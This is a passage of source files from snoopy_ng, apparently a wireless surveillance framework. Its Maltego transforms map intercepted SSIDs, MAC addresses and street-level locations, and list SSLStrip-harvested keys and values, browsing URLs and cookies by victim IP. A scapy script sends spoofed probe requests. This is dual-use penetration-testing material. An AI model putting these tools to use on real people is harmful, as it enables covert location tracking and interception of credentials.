79 | NewEnt.addAdditionalFields("start_time", "start_time", "strict", start_time)
80 | NewEnt.addAdditionalFields("end_time", "end_time", "strict", end_time)
81 | if gps_c:
82 | NewEnt.addAdditionalFields("start_gps", "start_gps", "strict", str(firstGPS))
83 | NewEnt.addAdditionalFields("end_gps", "end_gps", "strict", str(lastGPS))
84 | NewEnt.addAdditionalFields("var_gps", "var_gps", "strict", str(latVariance+lonVariance))
85 |
86 |
87 | TRX.returnOutput()
88 |
89 | main()
90 |
--------------------------------------------------------------------------------
/transforms/fetchSSIDLocations.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com_
4 | # snoopy_ng // 2013
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_
13 | from transformCommon import *
14 | from base64 import b64decode
15 | from xml.sax.saxutils import escape
16 | import re
17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
18 |
19 | limit = 100 # Limit the number of SSID addresses returned.
20 |
21 | def main():
22 | filters.append(wigle.c.ssid == ssid)
23 | filters.append(wigle.c.overflow == 0)
24 | s = select([wigle], and_(*filters)).distinct().limit(limit)
25 |
26 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct()
27 | r = db.execute(s)
28 | results = r.fetchall()
29 | logging.debug(results)
30 |
31 | TRX = MaltegoTransform()
32 |
33 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]')
34 |
35 |
36 | for address in results:
37 | if len(results) > 20:
38 | break
39 | #ssid = b64decode(ssid)
40 | #ssid=escape(ssid)
41 | #ssid = illegal_xml_re.sub('', ssid)
42 | logging.debug(type(address))
43 |
44 | street_view_url1 = "http://maps.googleapis.com/maps/api/streetview?size=800x800&sensor=false&location=%s,%s" % (str(address['lat']),str(address['long']))
45 | street_view_url2 = "https://maps.google.com/maps?q=&layer=c&cbp=11,0,0,0,0&cbll=%s,%s " % (str(address['lat']),str(address['long']))
46 | map_url = "http://maps.google.com/maps?t=h&q=%s,%s"%(str(address['lat']),str(address['long']))
47 | flag_img = "http://www.geognos.com/api/en/countries/flag/%s.png" % str(address['code']).upper()
48 |
49 | #NewEnt=TRX.addEntity("maltego.Location", address['shortaddress'].encode('utf-8'))
50 | NewEnt=TRX.addEntity("snoopy.ssidLocation", address['shortaddress'].encode('utf-8'))
51 | NewEnt.addAdditionalFields("city","city", "strict", address['city'].encode('utf-8'))
52 | NewEnt.addAdditionalFields("countrycode","countrycode", "strict", address['code'].encode('utf-8'))
53 | NewEnt.addAdditionalFields("country","country", "strict", address['country'].encode('utf-8'))
54 | NewEnt.addAdditionalFields("lat","lat", "strict", str(address['lat']))
55 | NewEnt.addAdditionalFields("long","long", "strict", str(address['long']))
56 | NewEnt.addAdditionalFields("longaddress","longaddress", "strict", address['longaddress'].encode('utf-8'))
57 | NewEnt.addAdditionalFields("location.areacode","Area Code", "strict", address['postcode'])
58 | NewEnt.addAdditionalFields("road","Road", "strict", address['road'].encode('utf-8'))
59 | NewEnt.addAdditionalFields("streetaddress","streetaddress", "strict", address['shortaddress'].encode('utf-8'))
60 | NewEnt.addAdditionalFields("ssid","SSID", "strict", address['ssid'])
61 | NewEnt.addAdditionalFields("state","State", "strict", address['state'].encode('utf-8'))
62 | NewEnt.addAdditionalFields("area","Area", "strict", address['suburb'].encode('utf-8'))
63 |
64 | NewEnt.addAdditionalFields("googleMap", "Google map", "nostrict", map_url)
65 | NewEnt.addAdditionalFields("streetView", "Street View", "nostrict", street_view_url2)
66 |
67 | #NewEnt.setIconURL(flag_img)
68 | logging.debug(street_view_url1)
69 | NewEnt.setIconURL(street_view_url1)
70 |
71 |
72 | NewEnt.addDisplayInformation("Click for map " % street_view_url2, "Street view")
73 | NewEnt.addDisplayInformation("one","two")
74 |
75 | #try:
76 | TRX.returnOutput()
77 | #except Exception,e:
78 | # print "RARRRR"
79 | # print e
80 | # print address
81 | # exit
82 | main()
83 | #me = MaltegoTransform()
84 | #me.addEntity("maltego.Phrase","hello bob")
85 | #me.returnOutput()
86 |
--------------------------------------------------------------------------------
/transforms/fetchSSIDLocations_live.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com_
4 | # snoopy_ng // 2013
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_
13 | from transformCommon import *
14 | from base64 import b64decode
15 | from xml.sax.saxutils import escape
16 | import re
17 | from wigle_api import Wigle
18 |
19 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
20 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]')
21 |
22 | def main():
23 | # print "Content-type: xml\n\n";
24 | # MaltegoXML_in = sys.stdin.read()
25 | # logging.debug(MaltegoXML_in)
26 | # if MaltegoXML_in <> '':
27 | # m = MaltegoMsg(MaltegoXML_in)
28 |
29 | TRX = MaltegoTransform()
30 | TRX.parseArguments(sys.argv)
31 | #ssid = TRX.getVar("ssid")
32 | logging.debug(ssid)
33 | logging.debug(type(ssid))
34 |
35 | user = TRX.getVar("wigleUser")
36 | passw = TRX.getVar("wiglePass")
37 | email = TRX.getVar("wigleEmail")
38 | proxy = TRX.getVar("wigleProxy")
39 |
40 | if not user or not passw or not email:
41 | print "ERROR: Please supply Wigle credentials in the 'Property View' on the right --->"
42 | exit(-1)
43 |
44 | wig=Wigle(user, passw, email, proxy)
45 | if not wig.login():
46 | print "ERROR: Unable to login to Wigle with supplied wigle creds. Please check them."
47 | exit(-1)
48 | locations = wig.lookupSSID(ssid)
49 | if 'error' in locations:
50 | print "ERROR: Unable to query Wigle. Perhaps your IP/user is shunned. Error was '%s'" % locations
51 | exit(-1)
52 |
53 | for address in locations:
54 | if len(locations) > 20:
55 | break
56 | #ssid = b64decode(ssid)
57 | #ssid=escape(ssid)
58 | #ssid = illegal_xml_re.sub('', ssid)
59 | logging.debug(type(address))
60 |
61 | street_view_url1 = "http://maps.googleapis.com/maps/api/streetview?size=800x800&sensor=false&location=%s,%s" % (str(address['lat']),str(address['long']))
62 | street_view_url2 = "https://maps.google.com/maps?q=&layer=c&cbp=11,0,0,0,0&cbll=%s,%s " % (str(address['lat']),str(address['long']))
63 | map_url = "http://maps.google.com/maps?t=h&q=%s,%s"%(str(address['lat']),str(address['long']))
64 | flag_img = "http://www.geognos.com/api/en/countries/flag/%s.png" % str(address['code']).upper()
65 |
66 | #NewEnt=TRX.addEntity("maltego.Location", address['shortaddress'].encode('utf-8'))
67 | NewEnt=TRX.addEntity("snoopy.ssidLocation", address['shortaddress'].encode('utf-8'))
68 | NewEnt.addAdditionalFields("city","city", "strict", address['city'].encode('utf-8'))
69 | NewEnt.addAdditionalFields("countrycode","countrycode", "strict", address['code'].encode('utf-8'))
70 | NewEnt.addAdditionalFields("country","country", "strict", address['country'].encode('utf-8'))
71 | NewEnt.addAdditionalFields("lat","lat", "strict", str(address['lat']))
72 | NewEnt.addAdditionalFields("long","long", "strict", str(address['long']))
73 | NewEnt.addAdditionalFields("longaddress","longaddress", "strict", address['longaddress'].encode('utf-8'))
74 | NewEnt.addAdditionalFields("location.areacode","Area Code", "strict", address['postcode'])
75 | NewEnt.addAdditionalFields("road","Road", "strict", address['road'].encode('utf-8'))
76 | NewEnt.addAdditionalFields("streetaddress","streetaddress", "strict", address['shortaddress'].encode('utf-8'))
77 | NewEnt.addAdditionalFields("ssid","SSID", "strict", address['ssid'])
78 | NewEnt.addAdditionalFields("state","State", "strict", address['state'].encode('utf-8'))
79 | NewEnt.addAdditionalFields("area","Area", "strict", address['suburb'].encode('utf-8'))
80 |
81 | NewEnt.addAdditionalFields("googleMap", "Google map", "nostrict", map_url)
82 | NewEnt.addAdditionalFields("streetView", "Street View", "nostrict", street_view_url2)
83 |
84 | #NewEnt.setIconURL(flag_img)
85 | logging.debug(street_view_url1)
86 | NewEnt.setIconURL(street_view_url1)
87 |
88 | NewEnt.addDisplayInformation("Click for map " % street_view_url2, "Street view")
89 |
90 | TRX.returnOutput()
91 |
92 | main()
93 |
--------------------------------------------------------------------------------
/transforms/fetchSSIDs.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com_
4 | # snoopy_ng // 2013
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_
13 | from transformCommon import *
14 | from base64 import b64decode
15 | from xml.sax.saxutils import escape
16 | import re
17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
18 |
19 | def main():
20 | # print "Content-type: xml\n\n";
21 | # MaltegoXML_in = sys.stdin.read()
22 | # logging.debug(MaltegoXML_in)
23 | # if MaltegoXML_in <> '':
24 | # m = MaltegoMsg(MaltegoXML_in)
25 |
26 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon.
27 | filters.append(ssids.c.mac==mac)
28 | s = select([ssids.c.ssid], and_(*filters))
29 |
30 |
31 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct()
32 | r = db.execute(s)
33 | results = r.fetchall()
34 | results = [t[0] for t in results]
35 | TRX = MaltegoTransform()
36 |
37 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]')
38 |
39 |
40 | for ssid in results:
41 | #ssid = b64decode(ssid)
42 | ssid=escape(ssid)
43 | ssid = illegal_xml_re.sub('', ssid)
44 |
45 | if not ssid.isspace() and ssid:
46 | NewEnt=TRX.addEntity("snoopy.SSID", ssid)
47 | NewEnt.addAdditionalFields("properties.ssid","ssid", "strict",ssid)
48 |
49 | TRX.returnOutput()
50 |
51 | main()
52 | #me = MaltegoTransform()
53 | #me.addEntity("maltego.Phrase","hello bob")
54 | #me.returnOutput()
55 |
--------------------------------------------------------------------------------
/transforms/fetchSSLStrip.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # glenn@sensepost.com_
4 | # snoopy_ng // 2013
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_
13 | from transformCommon import *
14 | from base64 import b64decode
15 | from xml.sax.saxutils import escape
16 | import re
17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
18 |
19 | def main():
20 | # print "Content-type: xml\n\n";
21 | # MaltegoXML_in = sys.stdin.read()
22 | # logging.debug(MaltegoXML_in)
23 | # if MaltegoXML_in <> '':
24 | # m = MaltegoMsg(MaltegoXML_in)
25 | global TRX
26 | ip = TRX.getVar("properties.client_ip")
27 | if TRX.getVar("client_ip"):
28 | ip = TRX.getVar("client_ip")
29 |
30 | domain = TRX.getVar("domain")
31 |
32 | filters = []
33 |
34 | if ip:
35 | filters.append( sslstrip.c.client == ip )
36 | if domain:
37 | filters.append( sslstrip.c.domain == domain)
38 |
39 | s = select([sslstrip.c.key, sslstrip.c.value], and_(*filters)).distinct()
40 | results = db.execute(s).fetchall()
41 |
42 | for res in results:
43 | key, value = res
44 | NewEnt=TRX.addEntity("snoopy.sslstripResult", key)
45 | NewEnt.addAdditionalFields("key","key", "strict", value)
46 | NewEnt.addAdditionalFields("value","Value", "strict", value)
47 |
48 | TRX.returnOutput()
49 |
50 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon.
51 | filters = []
52 |
53 | filters.extend( (leases.c.mac == mac, sslstrip.c.client == leases.c.ip))
54 |
55 | if domain:
56 | filters.append( sslstrip.c.domain == domain )
57 | s = select([sslstrip.c.domain, leases.c.mac, leases.c.ip], and_(*filters))
58 | r = db.execute(s)
59 | results = r.fetchall()
60 | TRX = MaltegoTransform()
61 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]')
62 |
63 | for res in results:
64 | domain, client_mac, client_ip = res
65 | NewEnt=TRX.addEntity("snoopy.Site", domain)
66 | NewEnt.addAdditionalFields("domain","domain", "strict",domain)
67 | NewEnt.addAdditionalFields("mac","Client Mac", "strict",client_mac)
68 | NewEnt.addAdditionalFields("client_ip","Client IP", "strict",client_ip)
69 |
70 | TRX.returnOutput()
71 |
72 | main()
73 | #me = MaltegoTransform()
74 | #me.addEntity("maltego.Phrase","hello bob")
75 | #me.returnOutput()
76 |
--------------------------------------------------------------------------------
/transforms/fetchURL.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # dominic@sensepost.com
4 | # snoopy_ng // 2014
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_
13 | from transformCommon import *
14 | from base64 import b64decode
15 | from xml.sax.saxutils import escape
16 | import re
17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
18 |
19 | def main():
20 | # print "Content-type: xml\n\n";
21 | # MaltegoXML_in = sys.stdin.read()
22 | # logging.debug(MaltegoXML_in)
23 | # if MaltegoXML_in <> '':
24 | # m = MaltegoMsg(MaltegoXML_in)
25 |
26 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon.
27 | filters = []
28 | filters.append(weblogs.c.client_ip==ip)
29 | s = select([weblogs.c.full_url, weblogs.c.cookies], and_(*filters))
30 | logging.debug(s)
31 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct()
32 | r = db.execute(s)
33 | results = r.fetchall()
34 | #logging.debug(results)
35 | #results = [t[0] for t in results]
36 | TRX = MaltegoTransform()
37 |
38 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]')
39 |
40 |
41 | for res in results:
42 | logging.debug(res)
43 | url, cookies = res
44 | #logging.debug(cookies)
45 | NewEnt=TRX.addEntity("maltego.URL", url)
46 | NewEnt.addAdditionalFields("url","URL", "strict",url)
47 |
48 | TRX.returnOutput()
49 |
50 | main()
51 | #me = MaltegoTransform()
52 | #me.addEntity("maltego.Phrase","hello bob")
53 | #me.returnOutput()
54 |
--------------------------------------------------------------------------------
/transforms/fetchUserAgent.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | # dominic@sensepost.com_
4 | # snoopy_ng // 2014
5 | # By using this code you agree to abide by the supplied LICENSE.txt
6 |
7 | import sys
8 | import os
9 | from MaltegoTransform import *
10 | import logging
11 | from datetime import datetime
12 | from sqlalchemy import create_engine, MetaData, select, and_
13 | from transformCommon import *
14 | from base64 import b64decode
15 | from xml.sax.saxutils import escape
16 | import re
17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S')
18 |
19 | def main():
20 | # print "Content-type: xml\n\n";
21 | # MaltegoXML_in = sys.stdin.read()
22 | # logging.debug(MaltegoXML_in)
23 | # if MaltegoXML_in <> '':
24 | # m = MaltegoMsg(MaltegoXML_in)
25 |
26 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon.
27 | filters = []
28 | filters.append(weblogs.c.client_ip==ip)
29 | s = select([weblogs.c.useragent], and_(*filters))
30 | logging.debug(s)
31 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct()
32 | r = db.execute(s)
33 | results = r.fetchall()
34 | logging.debug(results)
35 | #results = [t[0] for t in results]
36 | TRX = MaltegoTransform()
37 |
38 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]')
39 |
40 | for ua in results:
41 | logging.debug(ua)
42 | if str(ua).find('None') < 1:
43 | NewEnt=TRX.addEntity("snoopy.useragent", str(ua))
44 | NewEnt.addAdditionalFields("ip","Client IP", "strict",ip)
45 |
46 | TRX.returnOutput()
47 |
48 | main()
49 | #me = MaltegoTransform()
50 | #me.addEntity("maltego.Phrase","hello bob")
51 | #me.returnOutput()
52 |
--------------------------------------------------------------------------------
/transforms/snoopy_entities.mtz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sensepost/snoopy-ng/eac73f545952583af96c6ae8980e9ffeb8b972bc/transforms/snoopy_entities.mtz
--------------------------------------------------------------------------------
/uat/monitor_mode.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 | from subprocess import Popen, call, PIPE
4 | import os
5 | #from sys import stdout, stdin # Flushing
6 | import re
7 | import logging
8 |
9 | #logging.basicConfig(level=logging.DEBUG,
10 | # format='%(asctime)s %(levelname)s %(filename)s: %(message)s',
11 | # datefmt='%Y-%m-%d %H:%M:%S')
12 |
13 | DN = open(os.devnull, 'w')
14 |
15 | def enable_monitor_mode(iface=''):
16 | #First, disable all existing monitor interfaces
17 | disable_monitor_mode()
18 | #If not specified, take the last wireless interface.
19 | if not iface:
20 | proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
21 | for line in proc.communicate()[0].split('\n'):
22 | if 'phy' in line and not line.startswith("mon"):
23 | iface=re.split(r"\s",line)[0]
24 | if iface:
25 | logging.debug("Enabling monitor mode on '%s'"%iface)
26 | call(['airmon-ng', 'check', 'kill'], stdout=DN, stderr=DN)
27 | call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN)
28 | monif = get_monitor_iface()
29 | if monif:
30 | logging.debug("Enabled monitor mode '%s'"%monif[0])
31 | return monif[0]
32 | else:
33 | logging.debug("No wireless interface supporting monitor mode found")
34 | return None
35 |
36 | def disable_monitor_mode(iface=''):
37 | #Disable all monitor interfaces
38 | if not iface:
39 | for device in get_monitor_iface():
40 | disable_monitor_mode(device)
41 | #call(['airmon-ng', 'stop', device], stdout=DN, stderr=DN)
42 | else:
43 | logging.debug("Disabling monitor mode on '%s'"%iface)
44 | call(['airmon-ng', 'stop', iface], stdout=DN, stderr=DN)
45 |
46 | def get_monitor_iface():
47 | proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
48 | iface = ''
49 | monitors = []
50 | for line in proc.communicate()[0].split('\n'):
51 | if len(line) == 0: continue
52 | if ord(line[0]) != 32: # Doesn't start with space
53 | iface = line[:line.find(' ')] # is the interface
54 | if line.find('Mode:Monitor') != -1:
55 | monitors.append(iface)
56 | return monitors
57 |
--------------------------------------------------------------------------------
/uat/traffgen.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | from scapy.all import *
3 | import time
4 | import random
5 | import binascii
6 | import hashlib
7 | import datetime
8 | import sys
9 | import monitor_mode
10 | import random
11 |
12 | ssid="helloWorld"
13 | f=open('log_traffic.txt','w')
14 | rand_ssid = True
15 |
16 | words=[]
17 | if rand_ssid:
18 | f2=open('words.txt')
19 | words=f2.readlines()
20 | words = [x.rstrip() for x in words]
21 |
22 | def rand_mac():
23 | return ':'.join(map(lambda x: "%02x" % x, [ 0x00, 0x16, 0x3E, random.randint(0x00, 0x7F), random.randint(0x00, 0xFF), random.randint(0x00, 0xFF) ]))
24 |
25 | def generate_new_macs(num):
26 | """Generate random mac address list"""
27 | tmp_mac_addresses=[]
28 | for i in range(num):
29 | tmp_mac_addresses.append(rand_mac())
30 | return tmp_mac_addresses
31 |
32 | def make_traffic(num_macs=10, run_time=30, cull=0.9,iface="mon0"):
33 | assert(num_macs > 0)
34 | assert(cull <= 1.0)
35 | assert(run_time > 0)
36 | mac_addresses = {}
37 | packet_counter = 0
38 | cycle_count = 0
39 | mac_counter = {}
40 | num_to_remove = int(cull * num_macs)
41 | print "[+] Good day, sir. I will send probe request traffic from %d unique MAC addresses cycling %d of them every %s" %(num_macs,num_to_remove,str(datetime.timedelta(seconds=run_time)))
42 | while True:
43 | if mac_addresses:
44 | for i in range( num_to_remove ):
45 | mac_addresses.pop()
46 | mac_addresses = mac_addresses + generate_new_macs(num_to_remove)
47 | #mac_counter += num_to_remove
48 | else:
49 | mac_addresses = generate_new_macs(num_macs)
50 | start_time = int(os.times()[4])
51 | current_time = start_time
52 | while start_time + run_time > current_time:
53 | random.shuffle(mac_addresses)
54 | for mac in mac_addresses:
55 | mac_counter[mac] = 1
56 | print "\r[+] Sent a total of %d packets from %d unique MAC addresses so far (cycled MACs %d times)" % (packet_counter, len(mac_counter), cycle_count),
57 | sys.stdout.flush()
58 | if rand_ssid:
59 | rnd = random.randint(0,len(words)-1)
60 | ssid = words[rnd]
61 | p=RadioTap()/Dot11(addr1='ff:ff:ff:ff:ff:ff', addr3='ff:ff:ff:ff:ff:ff',addr2=mac)/Dot11ProbeReq() / Dot11Elt(ID='SSID', info=ssid)
62 | for i in range(random.randint(3,5)):
63 | sendp(p, iface=iface, verbose=0)
64 | packet_counter += 1
65 | current_time = int(os.times()[4])
66 | time.sleep(5)
67 | cycle_count+=1
68 | time.sleep(0.4)
69 |
70 | def main():
71 | iface = monitor_mode.enable_monitor_mode()
72 | make_traffic(200, 2*60, 0.8,iface) #Generate N macs, traffic for 30 minutes, then generate new macs with 90% overlap
73 |
74 | if __name__ == "__main__":
75 | main()
76 |
--------------------------------------------------------------------------------